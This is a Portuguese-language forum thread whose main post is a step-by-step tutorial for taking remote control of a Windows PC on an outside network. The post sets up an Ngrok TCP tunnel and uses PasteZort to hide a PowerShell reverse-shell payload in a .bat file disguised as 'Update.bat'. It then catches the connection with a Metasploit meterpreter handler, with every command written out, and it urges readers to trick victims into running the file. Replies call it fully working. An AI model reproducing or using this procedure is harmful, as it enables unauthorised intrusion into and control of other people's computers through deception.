Ownando Windows em rede externa sem abrir porta no roteador/modem.

#1

Olá The Cybers, neste tutorial venho com o intuito de demonstrar uma invasão em um sistema Windows situado em rede externa, porem sem a necessidade de abrir portas no roteador/modem.


Neste tutorial vamos usar uma aplicação de tunelamento, o Ngrok, em conjunto com uma ferramenta denominada PasteZort para gerar uma payload em powershell e por fim o metasploit para receber a conexão reversa.

Esse ataque consiste em criar um arquivo .bat com um paylaod em powershell, que ao ser executado no computador da vitima vai estabelecer uma conexão TCP reversa através do tunelamento criado pelo Ngrok, sem a necessidade de passar por regras de redirecionamento de portas em equipamentos de borda.

--- Sistemas operacionais ---

Atacante - Kali linux 2017.1 x64
Vitima - Windows 7 (Build 7601, Service Pack 1) x64

--- Escopo do ataque ---

1 - Instalação e configuração do Ngrok.
2 - Instalação e configuração do PasteZort.
3 - Configuração da payload.
4 - Invasão.


1 - INSTALAÇÃO E CONFIGURAÇÃO DO NGROK.

Ngrok é uma forma de publicar seu localhost diretamente para a internet. Esse software de linha de comando permite criar um túnel de conexão segura a partir do seu localhost e publicá-lo na internet e podendo ser usado em plataformas Windows, Linux e Mac OS.

Ao acessar a pagina web do Ngrok, sera necessário realizar um breve cadastro no serviço.
Image


O cadastro solicita apenas um nome de usuário e um e-mail valido.
Image


Concluindo o cadastro, você vai ser redirecionado para a pagina que contem o seu authtoken, necessário para a configuração do Ngrok.
Por motivos de segurança não compartilhe seu authtoken com ninguém.
Image


Apos salvar seu authtoken, efetue o download do Ngrok.
Image


Realize o download da arquitetura compatível ao seu sistema.
Image


Assim que o download do aquivo .zip for concluído, abra o terminal e localize o arquivo .zip do Ngrok.
Agora o arquivo .zip deve ser descompactado e a configuração do authtoken deve ser realizada agora; Para isso digite os comandos conforme a imagem abaixo.

Code: Select all

 unzip ngrok-stable-linux-amd64.zip 
./ngrok authtoken <sua_authtoken> 
Image


Feito isso, sugiro que mova o executável do Ngrok para a pasta /usr/bin , essa forma é possível executar o Ngrok de qualquer diretório, e não será mais necessário colocar o ./ antes de executa-lo.
Observe que vou abrir um túnel TCP na porta 1337 do meu localhost.

Code: Select all

mv ngrok /usr/bin/
ngrok tcp 1337 
Image


Pronto, o Ngrok está perfeitamente instalado e em plena execução, nesse momento todo trafego TCP que for direcionado para o endereço 0.tcp.ngrok.io na porta 16066 vai ser diretamente enviado para a minha maquina (localhost) na porta 1337, que foi a porta que abrimos no ngrok.
O terminal em que o Ngrok está sendo executado deve ser mantido aberto para que o túnel permaneça aberto, caso esse terminal seja encerrado o tunelamento também será.
Image



2 - INSTALAÇÃO E CONFIGURAÇÃO DO PASTEZORT.


A instalação do Pastzort é bem simplória, basta realizar o download no repositório git e adicionar permissão de execução aos arquivos da pasta PasteZort.
Feito isso basta executar o script PasteZ0rt.py para iniciar a ferramenta e darmos inicio a configuração do payload.

Code: Select all

git clone https://github.com/ZettaHack/PasteZort.git
chmod +x PasteZort/* ; cd PasteZort/
python PasteZ0rt.py
Image



3 - CONFIGURAÇÃO DO PAYLOAD.


Como podemos observar na imagem abaixo, é possível criar payloads para plataformas windows, linux e mac os.
Uma vez que nosso alvo é um sistema windows, vamos selecionar a opção 1.
Image


Agora vamos selecionar os parametros do payload.
Selecione a payload de conexão reversa TCP, a opção 1.
Na opção LHOST, insira o hostname disponibilizado pelo ngrok, 0.tcp.ngrok.io
Na opção LPORT, insira a porta disponibilizada pelo ngrok, nesse caso a porta 16066.
Image


Apos o payload ser gerado, esses campos pedindo a "Mensaje 1" e "Mensaje 2" vão ser exibidos, qualquer coisa pode ser inserida nesses campos.
Assim que a pergunta for exibida, responda NÃO, pois não é hora de iniciar nosso servidor handler.
Image


Feito isso, abra seu navegador e visite o endereço http://localhost ; Lá você vai encontrar as duas mensagens inseridas anteriormente.
O bacana é que a payload que geramos esta oculta entre as duas mensagens, basta selecionar as duas mensagens e copiar.
Image


Para gerar o arquivo malicioso final, apenas abra um editor de texto de sua preferencia e cole o conteúdo.
Veja que o conteúdo oculto da payload ja é visível.
Image


Agora salve o arquivo com a extensão .bat para que o payload esteja completo.
Note que salvei o arquivo com o nome de Update.bat.
Image



4 - INVASÃO.


Já que o arquivo malicioso está finalizado, vamos iniciar nosso servidor para recerber a conexão da vitima.
Vamos iniciar o serviços postgresql e metasploit framework, conforme demonstrado na imagem abaixo
Vamos usar o exploit/multi/handler.
A payload selecionada deve ser windows/meterpreter/reverse_tcp.
O lhost deve ser 0.0.0.0 pois esse IP se refere ao localhost propriamente dito.
E a lport deve ser a porta local aberta no ngrok, no nosso caso é a porta 1337.
Feitas essas configuraçãos, execute o exploit e aguarde.

Code: Select all

service postgresql start ; msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 1337
run -j
Image


Agora você deve usar e abusar da engenharia social para enviar e induzir sua vitima a abrir o arquivo .bat.
Image


Uma vez que o arquivo seja executado, a sessão meterpreter ja vai esta te esperando.
Image


Com a sessão meterpreter estabelecida é só progredir na exploração.
Image




Qualquer duvida estou a disposição !
Obrigado.

5 x

Quem corre atrás tá ligado qual é o preço, não cresce o olho no que é dos outros !

#!/bin/bash


Image

Re: Ownando Windows em rede externa sem abrir porta no roteador/modem.

#5
jump3rz wrote:
Sun Nov 12, 2017 2:24 am
bom topico, nao tinha conhecimento dessa ferramenta pra tunelar, vo checar aqui!
obrigado ! Cada comentário é um incentivo a mais.
K1ll4ll wrote:
Mon Nov 13, 2017 3:10 am


Artigo bem escrito, 100% funcional !
Obrigado! Sempre tento fazer o melhor possível.
1 x

Quem corre atrás tá ligado qual é o preço, não cresce o olho no que é dos outros !

#!/bin/bash


Image

Re: Ownando Windows em rede externa sem abrir porta no roteador/modem.

#9
kosu wrote:
Fri Jan 19, 2018 8:09 pm
Muto bom, tava tentando fazer esse tunelamento com o ngrok faz tempo, obrigado pelo tópico brother ;)
Vlw !!! Pena que o fórum morreu... esse tópico é só a ponta da lança... queria mostrar mais aqui no fórum, só que não tem espaço ! rsrs ...
Conhecimento aqui não vale nada... oq vale é BBcode "bonitinho" rsrs ...
3 x

Quem corre atrás tá ligado qual é o preço, não cresce o olho no que é dos outros !

#!/bin/bash


Image
cron